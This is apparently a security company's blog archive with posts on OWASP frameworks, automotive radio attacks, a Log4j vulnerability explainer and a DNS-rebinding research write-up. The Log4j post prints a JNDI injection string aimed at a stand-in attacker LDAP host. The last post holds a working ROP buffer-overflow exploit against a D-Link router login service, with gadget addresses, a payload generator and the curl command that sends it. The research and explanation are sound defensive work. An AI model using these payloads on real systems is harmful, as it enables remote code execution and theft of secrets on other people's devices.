Monday, March 27, 2023

20 years of Software Security: threats and defense strategies evolution

 Software security has come a long way in the past two decades. With the advent of new technologies and a rapidly evolving threat landscape, defending against cyber attacks has become more challenging than ever before. We recently presented on the evolution of software security threats and defense strategies at the Security Summit in Milan on 15th March 2023. In this blog post, we'll explore some of the key takeaways from the presentation.

In the early 1990s, the Internet was still in its infancy, and most people accessed it through their workstations or personal computers. Security threats were relatively simple, and malware and viruses were typically spread through floppy disks or infected email attachments. As the Internet became more ubiquitous, so did the security threats. In the early 2000s, browser-based attacks became more common, and operating systems became a prime target for cyber criminals.

With the rise of mobile devices in the 2010s, new security challenges emerged. Smartphones and tablets became a popular target for attackers, and the proliferation of internet-connected devices made it easier than ever for hackers to find vulnerabilities. The number of devices and users increased rapidly, creating a larger attack surface for hackers to exploit.

Fast forward to 2020, and the Internet of things (IoT) and automotive industries are the new frontiers of software security. IoT devices such as home assistants, smart thermostats, and security cameras are often poorly secured and easily hacked. Automotive software is becoming increasingly complex, with trillions of lines of code running on modern cars. The increasing use of artificial intelligence (AI) and machine learning (ML) in software also presents new security risks.

The timing for a successful attack has also changed dramatically over the years. In the past, attackers had to rely on users to download and execute malicious software. Today, many attacks are automated and can happen in real-time, targeting vulnerable devices as soon as they connect to the Internet.

As software becomes more integrated into our lives, the security risks also increase. In the past, a security breach might have resulted in the loss of some data or a temporary disruption in service. Today, a security breach could have much more serious consequences, including the loss of life in the case of critical infrastructure or autonomous vehicles.

The evolution of software security approach is as important as the evolution of the software security scenario itself. In the early days of software development, security was not given much importance. But as the importance of technology grew, the security risks also grew, which led to the evolution of the software security approach.




Let's take a look at the three stages of software security approach evolution:

See the report as a punishment:
In the early days of software development, software security was not considered a priority. Most developers focused on creating functional and feature-rich applications without thinking about the security aspects. Security audits were conducted only after the software was developed and ready for deployment. These audits were seen as a punishment, rather than a proactive measure to ensure security. This approach was ineffective and led to many security breaches.

Testing solves everything:
The second stage of software security approach evolution was the belief that testing could solve all security issues. Developers started to incorporate testing tools into the software development process to detect vulnerabilities early on. The testing tools were seen as a panacea for all security issues. While testing tools are useful in identifying vulnerabilities, they are not foolproof. 


Fixing! What is fixing? Testing is not enough?
The third and current stage of software security approach evolution is the belief that fixing vulnerabilities is crucial to ensuring software security. Developers now understand that fixing vulnerabilities is a continuous process that must be carried out throughout the software development lifecycle. Developers have now started to incorporate security measures into the design and development of software to prevent vulnerabilities from being introduced in the first place.

Moreover, developers are now also adopting a "shift left" approach to software security, where security is integrated into the software development process from the very beginning. Developers are also relying on security tools and techniques such as threat modeling, code reviews, and penetration testing to detect and fix vulnerabilities.


Common mistakes over the last 20 years from our experience.

One of the biggest mistakes made in the last 20 years is the fault placed solely on developers for security issues. This approach is ineffective and ugly. Developers cannot be solely responsible for security issues as it requires a multi-faceted approach.

Another common mistake is the testing methodology. Testing should be integrated into the development process, and not performed separately. If testing is conducted separately, there is a high risk of delivering software that has not been tested adequately.

Fixing: what is fixing? Fixing is a crucial aspect of software security. The time taken to remediate security vulnerabilities is often too long. Instant security feedback is necessary in modern software projects. Security must be shared, and data about threats, defenses, vulnerabilities, and attacks must be made public to be effective.

Software security is not just one person's responsibility, but everyone's. Security champions are essential in supporting developers and others. They can help to make decisions about when to engage the security team, triage security bugs, and act as the voice of security for a given product or team.


To help organizations address these challenges, the Open Worldwide Application Security Project (OWASP) has developed several frameworks, including OWASP Open SAMM and the recently launched OWASP Software Security 5D Framework.

Traditionally, secure software development lifecycle (SDLC) frameworks like Microsoft SDL, BSIMM touchpoint, and OWASP SAMM have been used to assess software security. However, these frameworks lack the level of awareness, security team, security standards, and security testing tools needed to address today's challenges. 

The OWASP Software Security 5D Framework is designed to help companies understand the need to grow in all five dimensions simultaneously: TEAM, AWARENESS, STANDARDS, PROCESSES, and TESTING.

 



The OWASP 5D framework is more practical and focuses on evaluating the maturity of a software security framework in all five dimensions simultaneously, rather than just one or two. The framework helps organizations measure their company culture on software security, enforce trust relationships between their company and clients, demonstrate improvements, and have a vision of how to manage their software security roadmap.


One of the key benefits of the OWASP 5D framework is that it enables organizations to create a software security strategy that takes into account the maturity level of their outsourcers. By doing so, they can ensure that the outsourcer is implementing HTTPS, using OWASP guidelines, and conducting penetration testing as part of the software development lifecycle. Additionally, OWASP SAMM assessment and 5D framework are standards that allow organizations to assess their software security maturity level and communicate it to clients and stakeholders effectively.

In conclusion, The OWASP Software Security 5D Framework helps you to:

  • Measure your company culture on SwSec (not your number of vulnerabilities!)
  • Enforce the trust relationships between your company and your clients
  • Demonstrate your improvements
  • Have a vision of how to manage your Software Security roadmap

Everyone in the organization is responsible for software security, and OWASP frameworks like the Software Security 5D Framework and OWASP SAMM Assessment can help organizations create a software security strategy that addresses the challenges associated with software security today.

Please send an email to: SwSec5D@mindedsecurity.com to request your copy of the presentation.

 

 

Friday, February 24, 2023

OWASP Global AppSec Dublin 2023: WorldWide and Threat Modeling


The OWASP Global AppSec Dublin 2023 conference was a truly inspiring event for anyone involved in application security. As an attendee, I was able to catch up with OWASP colleagues and hear from experts on a range of topics. 
In particular, there were two themes that really stood out to me: worldwide and threat modeling.

OWASP: The Open Worldwide Application Security Project

During the conference, the OWASP Board made an exciting announcement regarding the meaning of the letter "W" in OWASP. Traditionally, the "W" in OWASP has stood for "Web," reflecting the organization's initial focus on web application security. The Board announced they are changing the meaning of the "W" to "Worldwide," reflecting the global nature of the OWASP project and its mission.

This change is significant because it recognizes that application security is no longer limited to just web applications. With the proliferation of mobile and IoT devices, cloud computing, and other emerging technologies, application security has become a much broader concern. By changing the meaning of the "W" to "Worldwide," OWASP is acknowledging this reality and expanding its focus to include all types of applications. 
 
The change in the meaning of the "W" in OWASP from "Web" to "Worldwide" is a significant development for the organization and the application security community as a whole. It reflects the evolving nature of application security and the importance of the global community in addressing these challenges. I am excited to see how this change will shape the future of OWASP and its mission to make software security visible worldwide.

Threat Modeling

Threat modeling is a structured approach for identifying, quantifying, and addressing the security risks associated with an application. In recent years, there has been a growing interest in this area, and the conference featured a keynote and two talks on the subject.

The conference had a keynote, a training session and 2 talks regarding threat modeling. The keynote, “A Taste of Privacy Threat Modeling” by Kim Wuyts, focused on threat modeling privacy. Ms. Wuyts spoke about how to identify potential privacy threats and how to mitigate those risks. She also provided insights into best practices for threat modeling in a privacy context. 
 
Other talks at the event emphasized practical approaches on Threat Modeling that are essential for companies to adopt in order to develop more secure products and services. These presentations provided valuable insights and actionable recommendations that can help organizations improving their security posture and better protect their customers' data and privacy.

Threat modeling is not a new concept. In fact, it has been around for quite some time. However, it has only recently gained traction within the application security community. This is likely due to the increasing number of data breaches and cyber attacks that have occurred in recent years. Organizations are now more aware than ever of the need to secure their applications against potential threats.
 
Since the inception of our company in 2007, we have been advocating for the promotion of Threat Modeling activities. However, it was only in recent years that we have observed a significant increase in interest in this area. The growing discourse around Threat Modeling indicates a broader recognition of its importance in ensuring the security of software and systems.

More information about threat modeling:
 
 

Testability patterns for web applications, a new OWASP Project

TESTABLE is an EU-funded project under the Horizon 2020 Research and Innovation Actions program, designed to address the significant challenge of building and maintaining secure and privacy-
friendly modern web-based and AI-powered application software systems.

IMQ Minded Security is part of the TESTABLE consortium together with CISPA, Eurecom, TUBS, UC3M, SAP SE, ShiftLeft GmbH,  NortonLifeLock and Pluribus One.

We would like to express our appreciation to Luca Compagna, Senior Scientist and Research Architect at SAP Security Research, for his insightful presentation on a new OWASP project aimed at making our Testability Patterns for Web Applications accessible and improvable by the wider community.

During the presentation, Luca emphasized the critical role of testability in ensuring the security and privacy of Web Applications, and demonstrated our approach in the context of Static Application Security Testing (SAST). Specifically, we provided concrete examples of SAST testability patterns and how they can hinder the analysis of web application code by state-of-the-art SAST tools.

He also showcased our open source framework for implementing these patterns, which enables the evaluation of SAST tools against the testability patterns, highlighting which patterns pose problems for specific tools. Additionally, the framework enables the identification of testability patterns within the source code of web applications, informing developers of areas that may prove challenging for SAST.

Towards the end of the presentation, he introduced the three main target audience groups: web developers, SAST tool developers, and security central teams. For each group, we highlighted the value-added by these SAST patterns and provided guidance on how they can participate in our project community and contribute to the creation and maturation of testability patterns. Finally, we presented our plan for the OWASP project.

More information regarding testable:
 
 
You can see all the Conference's video here.


Thursday, July 28, 2022

UN ECE 155 Threats in the real world: Wireless Networking Attacks and Mitigations. A case study


On March the 31st, I gave a quick talk on automotive security at VTM titled "UN ECE 155 Threats in the real world: Wireless Networking Attacks and Mitigations. A case study" (slides here).

The idea was to create some content about one of the most hyped topics in the automotive cyber security world over the last year, without keeping it just theoretical;

UN/ECE 155 and ISO/SAE 21434 whose concerns are about the implementation of a CSMS (Cyber Security Management System) which consists in performing, for each vehicle, several high level security tasks, such as Threat Analysis and Risk Assessment (TARA), supply chain security issues tracking, implementation of the mitigations, update management and so on.

The following schema shows the product development lifecycle model, called V-Model, used in the automotive industry and the cybersecurity processes in each phase of the V-Model.

 

The most interesting point that can help mitigating the risks and performing attack surface analysis is the TARA which can really help to minimize the risk in the earliest stage. In particular it will give its best, well when the technologies that are going to be implemented, are well known from a security perspective

The following figure describes the steps that must be covered to perform a TARA by the ISO 21434:


Since the audience was expected to be mixed technical/non technical I decided to keep it in the middle as well, which, alas, sometimes means the hard way.

Also, how to go practical without going vehicle specific? mmm, take something that is already on every vehicle and talk about attacks, risks and remediations in the context of UNECE R155 and ISO 21434 requirements.

Digital Radio Broadcasting! 

Now, the problem is to research on those topics without being too obvious and condense all in a limited span of 30 minutes which is quite challenging.

With the goal of identifying some unexplored attack surface, I took a couple of weeks to go into RDS and DAB+ specifications and their previous research in the security context. 

As briefly described in the slides in IMQ Minded Security I created a lab testbed with:

  • A RDS transmitter using Raspberry PI and this wonderful piece of software
  • Several non automotive RDS receivers and their software and a Renault Scenic 2015 Head Unit with RDS support.
  • A DAB+ transmitter using HackRF One, and this essential set of software together with this very useful tutorial
  • A RTL-SDR for local tests and a DAB+ USB Dongle receiver that is also used in the automotive world with the most used Android Automotive OS  software DAB-Z and several other applications that are mostly used in desktop environments. Alas, apart from DAB-Z we had no immediately available automotive head units supporting DAB+ :/.
The threats were identified after reading the whole RDS and DAB+ documentation and condensed for the talk.

The most interesting turned out to be DAB+ which has much more perimeter.

and has already at least one known real world issue



Next step was to identify a number of possible threats and attacks by studying the DAB+ specifications, a subset of tests was shown during the talk:


Apart from creating filenames with no extension, we identified several more possible attacks on parsers such as creating malformed unicode filenames, EPG, Journaline and other DAB+ defined formats.
The stumbling blocks when going practical was that some of those formats were not implemented by the receivers we tested, so we decided to keep the tests for future activities.

Results

The most interesting issues were found on DAB+ desktop software, resulting in path traversal and HTML injection.




Unfortunately, the lack of head units or vehicles prevented us to perform more thorough tests to get some more juicy stuff..
Let's see what the next weeks will give back, since we are expecting new hardware to perform more tests!

PS. We were expecting to have a video of the talk to publish, but it's not clear when and if.. so here are the slides of the talk:

Feel free to comment or contact us for any question!

Tuesday, December 14, 2021

The Worst Log Injection. Ever. (Log4j [2.0.0-alpha,2.14.1] )

There has been such a hype about the Log4j issue and since IMQ Minded Security mission has always been about fixing, this informal post is about what's going on, how to check if someone's system is likely affected and how to fix the issue.

UPDATE 12-17-2021: Since several bypasses to the mitigations implemented on version 2.15/16 were found, be sure to update to  Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later) as described here and here ASAP!

What's the Buzz? (The Problem)

On Thursday 12/09/2021 a vulnerability affecting a very popular logging Java library was published on Github. A few hours later the infosec community was on fire.

The issue falls in the category of Template Language Injection, which involves a parser that is triggered to perform certain actions when particular sequences are found in the parsed string.

The library is Log4j and the vulnerable methods (sinks) are the ones that are usually called to actually log messages in files to keep track of events happening during the execution of an application:
  • log
  • fatal
  • error
  • warn
  • trace
  • ..


It means that, if the application wants to log some dynamic content coming from an external source, such as, a message about an error login from a non existing username, it might call something like:

logger.warn(username + " not found!");

If the username value is controlled by a malicious user it will be possible to exploit the vulnerability and even execute arbitrary code on the affected platform.

In particular, if an attacker is able to control the log message string, even partially, and he is able to inject the '${' and '}' metacharacters the Log4j Interpolator will parse the content and look for specific patterns.

According to the Interceptor class the following patterns are enabled by default:
  • log4j
  • sys 
  • env
  • main
  • marker
  • java
  • lower
  • upper
  • date
  • ctx
  • jndi (if org.apache.logging.log4j.core.lookup.JndiLookup is present)
  • web (if org.apache.logging.log4j.web.WebLookup is present)
  • docker 
  • spring
  • kubernetes
  •  

    So, the real deal is about an attack that can be performed via JNDI:LDAP keyword (or similar patterns such as RMI, COS etc..). In fact by injecting something like:

    ${jndi:ldap://EVILLDAP:[PORT]/XX}

    as argument in the sink method, Log4j will:

    1. trigger a DNS request to check if the EVILLDAP hostname needs to be resolved
    2. perform an LDAP request to the (attacker controlled) LDAP server hosted on the resolved IP
    3. the attacker controlled LDAP server will then be able to reply with a malicious serialized Java object, which will be executed on the Log4j side.
    4. if the malicious object, by abusing internal features (gadgets), is able to trigger the correct set of instruction, the vulnerability will be successfully exploited.

    As can be noted, this is a two stages attack, in fact, after the vulnerability is triggered, the vulnerable application needs to send a request to the malicious server in order to get the RCE payload.

    What's the Impact and How about the Risk? (The Attack)

    The worst impact is the Remote Code Execution, which requires:

    1. the victim machine must be able to perform outbound requests 
    2. the attacker must be able to use the correct gadget chain to successfully perform the attack.
     Another important impact involves Exfiltration of Confidential Information via other pattern such as:
    • env:KEY
    • sys:KEY
    • ctx:KEY
    • web:KEY
    • ..
    In conjunction with DNS Requests or other layer 7 requests.
    Which requires that:
    1. the victim machine is allowed to perform DNS requests or perform outbound requests 
    In this second attack the attacker will be able to gather information such as internal cryptography keys or similar data from application mapped strings.

    Which Version is Affected?

    All version of Apache Log4j 2 until 2.15 excluded are affected. 

    In particular: 2.0-beta9 <= Apache Log4j <= 2.14.1

    Log4j version 1 might be affected in some specific case if JNDI is enabled, but it is not by default.

    WARNING: there is a bunch of blog posts asserting that some Java version mitigates the attacks, but that is NOT true. The vulnerability is independent on the Java version.

    Am I Vulnerable? (The Check)

    There are several ways to check if some of the deployed application is vulnerable...the correct answer would be implement Supply Chain Management, but this paragraph is for practical, urgent actions.

    If you've already implemented a process which allows to list:

    • *All* your applications and versions
    • *Where* they are deployed
    That list is called SBOM (Software Bill of Materials) which list of all the used software, libraries included and their versions.
    If you have it, there are very good chances that the time spent to find & fix everything will be relatively small.

    But, of course, having it depends on the maturity of the security process implemented in your company (check this out if you're interested in our services).

    Consider an enterprise without a SBOM. They might have hundreds of deployed software from external vendors and internally developed custom software. Meaning it will require a big effort of time and resources to prioritize and patch.

    If no SBOM is in place then, the first thing to do is to roll up your sleeves and for each instance:

    1. Login
    2. Check if there are running processes using java.
    3. Identify the directories and use the open source OWASP Dependency Check (or similar products).

    OWASP Dependency Check is able to recursively check for vulnerable libraries in a EAR/WAR/JAR deployed applications and also other files like POM.xml.

    Finally, have a look at the Indicator Of Compromise list that might help in case there's already been a security incident.

    How can I mitigate the risk? (The Fix)

    The permanent ones:
    • For each affected vendor you should ping them, asking for a patch or minor release. If they tell you that you must update to a major release and your product is not EOL, you should insist for a minor/patch level release which addresses the vulnerability.
    • For each internal application update Log4j library to version 2.16.
      • WARNING: Log4j 2.16 requires Java 8, so if you have Java < 8 there might be some more time consuming effort. In that case see if the following workaround is worth trying.

    The workarounds:
    • if Log4j version >= 2.10, as explained here, you can do the following steps:
      1. export the following ENVIRONMENT VARIABLE to the whole OS as LOG4J_FORMAT_MSG_NO_LOOKUPS=true
      2. relaunch the application.
      3. Check if you're still vulnerable with a POC.
    • For each affected machine:
      • if it's not supposed to generate egress traffic block DNS requests and new outbound traffic.
      • if it's supposed to generate outbound traffic, well...that falls into anomaly detection category, which could help but be sure that it is not a fingerprint based one since there's a lot of ways to bypass blocking rules.
      • last but not least it might be interesting to experiment some kind of RASP, such as this one, which will be able to identify contextual traffic without the risk of bypasses.
    Here's a nice InfoGraphics about the attack flow and the points of mitigation from GovCert.CH:



    Conclusions

    This post was written in order to give some clarification about the CVE-2021-44228 and to give some thoughtful information regarding attacks, checks and fixes. 
    Please comment/email us if you need more clarifications.

    Tuesday, August 31, 2021

    A Journey Into the Beauty of DNSRebinding - Part 2



    Abstract

    In the first part, after a fast overview on the DNS Rebinding technique, we considered a practical example in which UPnP services has been exploited to perform NAT Injection attacks and, therefore, expose internal services on Internet.

    In this second post we are going to demonstrate how DNS Rebinding could be used to exploit vulnerable services running locally in order to achieve Remote Code Execution (RCE). 

    In particular, we will consider the case of CVE-2016-6563, which consists in a known Buffer Overflow issue caused by an unsafe parsing of the XML fields present in the login SOAP request affecting the HNAP service of some D-Link routers.

    In short, below are listed the steps in order to create a working DNS Rebinding proof of concept:

    • Firmware static and dynamic analysis;
    • Buffer Overflow sink and source identification through static binary analysis;
    • Exploit development through binary emulation;
    • DNS Rebinding + Buffer Overflow ROP exploit chaining.


    Static Firmware and Binary Analysis

    As a first step, we downloaded the "DIR-842_C1_FW300b18.bin" firmware, which was available on the vendor site, and extracted the squash-fs filesystem by using binwalk.

    $ binwalk -e DIR-842_C1_FW300b18.bin 

    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/5"
    112           0x70           uImage header, header size: 64 bytes, header CRC: 0x6A7785EB, created: 2017-05-19 16:57:27, image size: 1226247 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0xCD5C9222, OS: Linux, CPU: MIPS, image type: Multi-File Image, compression type: lzma, image name: "MIPS Seattle Linux-3.3.8"
    184           0xB8           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3616252 bytes
    1245296       0x130070       PackImg section delimiter tag, little endian size: 15765760 bytes; big endian size: 9564160 bytes
    1245328       0x130090       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9563526 bytes, 2480 inodes, blocksize: 131072 bytes, created: 2017-05-19 16:57:32

    Then we stared to inspect the "hnap" binary inside the filesystem and we found the same behavior described in CVE-2016-6563.

    We have then reversed the target binary with Ghidra and, by looking for the the strings related to the login parameters, we have identified the following function, which was renamed as "Vulnerable" in the following snippet of code.

    undefined4 Vulnerable(char *param_1)

    {
     undefined4 uVar1;
     int iVar2;
     size_t sVar3;
     char *pcVar4;
     undefined4 local_758;
     undefined4 local_750;
     char *local_74c;
     char *local_748;
     undefined auStack1860 [4];
     undefined4 local_740;
     char acStack1852 [80];
     char acStack1772 [144];
     char acStack1628 [64];
     char acStack1564 [64];
     undefined2 local_5dc;
     char acStack1484 [64];
     char acStack1420 [68];
     char acStack1352 [64];
     char Action [128];
     char Username [128];
     char Password [128];
     undefined Captcha [128];
     undefined auStack776 [10];
     undefined auStack766 [20];
     undefined auStack746 [98];
     char acStack648 [64];
     char acStack584 [64];
     undefined auStack520 [64];
     char acStack456 [64];
     char acStack392 [128];
     char acStack264 [128];
     char acStack136 [128];
     
     memset(Action,0,0x80);
     memset(Username,0,0x80);
     memset(Password,0,0x80);
     memset(Captcha,0,0x80);
     memset(auStack776,0,0x80);
     memset(acStack648,0,0x40);
     memset(acStack584,0,0x40);
     memset(auStack520,0,0x40);
     memset(acStack456,0,0x40);
     memset(acStack392,0,0x80);
     memset(acStack264,0,0x80);
     DAT_00433260 = FUN_0041e620();
     local_758 = 0;
     FUN_004057ec(FUN_00419794,0,0x10000);
     uVar1 = FUN_0041edb4(DAT_00433260);
     VulnerableCalled(uVar1,"Action",Action);
     uVar1 = FUN_0041edb4(DAT_00433260);
     VulnerableCalled(uVar1,"Username",Username);
     uVar1 = FUN_0041edb4(DAT_00433260);
     VulnerableCalled(uVar1,"LoginPassword",Password);
     uVar1 = FUN_0041edb4(DAT_00433260);
     VulnerableCalled(uVar1,"Captcha",Captcha);
     
    . . .

    The "Action", "Username", "LoginPassword" and "Captcha" XML fields are parsed by the (renamed) "VulnerableXMLParser" method:

    void VulnerableXMLParser(char *controllable_input,undefined4 param_2,char *destination_buffer)

    {
     size_t length_param;
     char *p;
     char *pcVar1;
     char var_overflow [1024];
     char acStack2060 [1024];
     char EOT [1028];
     
     sprintf(acStack2060,"<%s>",param_2);
     sprintf(EOT,"</%s>",param_2);
     length_param = strlen(acStack2060);
     p = strstr(controllable_input,acStack2060);
     if (p != (char *)0x0) {
       p = p + length_param;
       pcVar1 = strstr(p,EOT);
       if ((pcVar1 != (char *)0x0) && (pcVar1 = pcVar1 + -(int)p, -1 < (int)pcVar1)) {
         strlcpy(var_overflow,p,pcVar1 + 1);
         var_overflow[(int)pcVar1] = '\0';
         strcpy(destination_buffer,var_overflow);
      }
    }
     return;
    }

    Here the user-controllable input present in the login parameter tags is copied in an insecure way:
    • inside a local buffer (i.e. "var_overflow");
    • into the 128 byte buffer defined inside the caller function through the "destination_buffer" pointer.

    Firmware Emulation and Binary Debugging

    In order to try to exploit the issue we have tried to emulate the firmware. We then used FAT in order to achieve full system emulation:

    # ./fat.py ../fwrs/DIR-842_C1_FW300b18.bin 

                                  __          _
                                / _|         | |
                                | |_   __ _  | |_
                                | _|  / _` | | __|
                                | |  | (_| | | |_
                                |_|   \__,_|  \__|

                  Welcome to the Firmware Analysis Toolkit - v0.3
      Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                    By Attify - https://attify.com | @attifyme
       
    [+] Firmware: DIR-842_C1_FW300b18.bin
    [+] Extracting the firmware...
    [+] Image ID: 1
    [+] Identifying architecture...
    [+] Architecture: mipseb
    [+] Building QEMU disk image...
    [+] Setting up the network connection, please standby...
    [+] Network interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
    [+] All set! Press ENTER to run the firmware...
    [+] When running, press Ctrl + A X to terminate qemu
    Creating TAP device tap1_0...
    Set 'tap1_0' persistent and owned by uid 0
    Initializing VLAN...
    Bringing up TAP device...
    attify123
    Adding route to 192.168.0.1...
    Starting firmware emulation... use Ctrl-a + x to exit
    [   0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
    [   0.000000]
    [   0.000000] LINUX started...
    [   0.000000] bootconsole [early0] enabled
    [   0.000000] CPU revision is: 00019300 (MIPS 24Kc)
    [   0.000000] FPU revision is: 00739300
    [   0.000000] Determined physical RAM map:



    However, we have used the QEMU user-mode emulation feature with the aim of debugging the issue and creating a working exploit.

    In particular, the following setting was used to emulate a HTTP request to the target mips "hnap" service:

    sudo chroot . ./qemu-mips-static -E HTTP_SOAPACTION="http://purenetworks.com/HNAP1/Login" -E HTTP_HNAP_AUTH="69201619B75DDDFF967E6ADD87BA945F 1583432673" -E REQUEST_URI="/HNAP1/" -E REQUET_METHOD="POST" -E HTTP_COOKIE="uid=99TIA1AP7" -E CONTENT_LENGTH=2640 -E CONTENT_TYPE="text/xml; charset=utf-8" -g 4444 ./htdocs/HNAP1/hnap
    Following the description of the used parameters:
    • chroot: the full command was executed within the root directory of the extracted squash-fs filesystem, so chroot . makes this directory the root directory;
    • qemu-mips-static: allows to emulate MIPS binaries. The "-E" options was used to set some environment variables required by "hnap" to regularly invoke the vulnerable method; "-g" sets the "QEMU_GDB" environment variable that opens a gdb-server on the specified port (in this case port 4444).

    It was then possible to attach to the gdb-server running on "localhost:4444" and debugging the target binary using gdb-multiarch as follows:

    $ gdb-multiarch 
    GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
    Copyright (C) 2018 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law. Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word".
    (gdb) file htdocs/HNAP1/hnap
    Reading symbols from htdocs/HNAP1/hnap...(no debugging symbols found)...done.
    (gdb) target remote 127.0.0.1:4444
    Remote debugging using 127.0.0.1:4444
    warning: remote target does not support file transfer, attempting to access files from local filesystem.
    Reading symbols from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.33.2.so...(no debugging symbols found)...done.
    0x7f7e7f90 in _start () from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.33.2.so
    (gdb) c
    Continuing.


    A working Buffer Overflow exploit

    After some digging into the analysis both user-mode and system-mode, we got a running ROP exploit that allowed us to execute an arbitrary command by jumping to the ld-uClibc-0.9.33.2 system() function:

    from pwn import *

    def p32_big(data):
           return p32(data, endian = 'big')

    libc_text_base = 0x2aae4000
    libc_text_start = 0x0
    libc_system = libc_text_base + (0x00062104 - libc_text_start)
    gadget1 = libc_text_base + (0x00042e08 - libc_text_start)
    # identified gadget
    # 0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6

    payload = "A" * 1028 + p32_big(gadget1)
    payload += "BBBB" # $sp points here
    payload += "C" * 32
    payload += p32_big(libc_system)
    payload += "C" * 144
    payload += "touch /tmp/minded;" # here the command to execute
    soap_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>Admin</Username><LoginPassword>" + payload + "</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>"

    print(soap_body)

    The following gadget was found in the libc address and used to perform a return-to-system:

    0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6
    The gadget allows to jump to the next instruction through jalr $t9 and lw $t9, 0x24($sp); so we put the address of system() 36 bytes after the current pointed address. 

    The argument of system(), was previously controlled thanks to addiu $a0, $sp, 0xb8, which points to the stack location that contains the command to execute.

    Once adjusted the libc base address according to the system-mode, we could test the exploit by using curl (the body file contains the output of the python exploit):

    $ curl -X POST -d @body http://192.168.0.1/HNAP1/ -H 'SOAPAction: http://purenetworks.com/HNAP1/Login' -H 'HNAP_AUTH: 7A6EA9269CBB71629F4EF2926343C7A1 1583173034' -H 'Content-Type: text/xml; charset=utf-8'

    <title>500 Internal Server Error</title>

    <h1>500 Internal Server Error</h1>

    The "touch /tmp/minded" command was successfully executed as this file was written in the "/tmp" directory of the emulated firmware. 

    The following output is related to FAT and shows the emulated router console exposing the SIGSEGV crash caused by the running exploit. 

    # [ 5278.120000] do_page_fault() #2: sending SIGSEGV to hnap for invalid read access from
    [ 5278.120000] 68202f90 (epc == 2ab26e20, ra == 2ab26e1c)
    [ 5278.120000] Cpu 0
    [ 5278.120000] $ 0   : 00000000 1000a400 68202f74 00000001
    [ 5278.120000] $ 4   : 2ab64000 7f80be50 00000000 00000000
    [ 5278.120000] $ 8   : 00000000 80104960 8f06cc98 0000000a
    [ 5278.124000] $12   : 00000008 811e41c0 00000000 00000000
    [ 5278.124000] $16   : 7f80cd88 2ab44000 004013b8 0049e444
    [ 5278.124000] $20   : 00487ec0 0049e88c 004a0000 00000000
    [ 5278.124000] $24   : 8f3cc4f0 2ab1db80                  
    [ 5278.124000] $28   : 2ab65400 7f80bea0 41414141 2ab26e1c
    [ 5278.124000] Hi   : 00000000
    [ 5278.124000] Lo   : 00000000
    [ 5278.124000] epc   : 2ab26e20 0x2ab26e20
    [ 5278.124000]     Not tainted
    [ 5278.124000] ra   : 2ab26e1c 0x2ab26e1c
    [ 5278.124000] Status: 0000a413   USER EXL IE
    [ 5278.124000] Cause : 10800008
    [ 5278.124000] BadVA : 68202f90
    [ 5278.124000] PrId : 00019300 (MIPS 24Kc)
    [ 5278.124000] Modules linked in:
    [ 5278.124000] Process hnap (pid: 20107, threadinfo=8f1b6000, task=8f2bd6e0, tls=2aab7440)
    [ 5278.124000] Stack : 42424242 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.124000]         43434343 2ab46104 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         ...
    [ 5278.128000] Call Trace:
    [ 5278.128000]
    [ 5278.128000]
    [ 5278.128000] Code: 0320f809 02c02821 8fa200bc <8c59001c> 13200004 8fbc0018 0320f809 27a400b8 8fbc0018
    [ 5278.128000] hnap/20107: potentially unexpected fatal signal 11.
    [ 5278.128000]
    [ 5278.128000] Cpu 0
    [ 5278.128000] $ 0   : 00000000 1000a400 68202f74 00000001
    [ 5278.132000] $ 4   : 2ab64000 7f80be50 00000000 00000000
    [ 5278.132000] $ 8   : 00000000 80104960 8f06cc98 0000000a
    [ 5278.132000] $12   : 00000008 811e41c0 00000000 00000000
    [ 5278.132000] $16   : 7f80cd88 2ab44000 004013b8 0049e444
    [ 5278.132000] $20   : 00487ec0 0049e88c 004a0000 00000000
    [ 5278.132000] $24   : 8f3cc4f0 2ab1db80                  
    [ 5278.132000] $28   : 2ab65400 7f80bea0 41414141 2ab26e1c
    [ 5278.132000] Hi   : 00000000
    [ 5278.132000] Lo   : 00000000
    [ 5278.132000] epc   : 2ab26e20 0x2ab26e20
    [ 5278.132000]     Not tainted
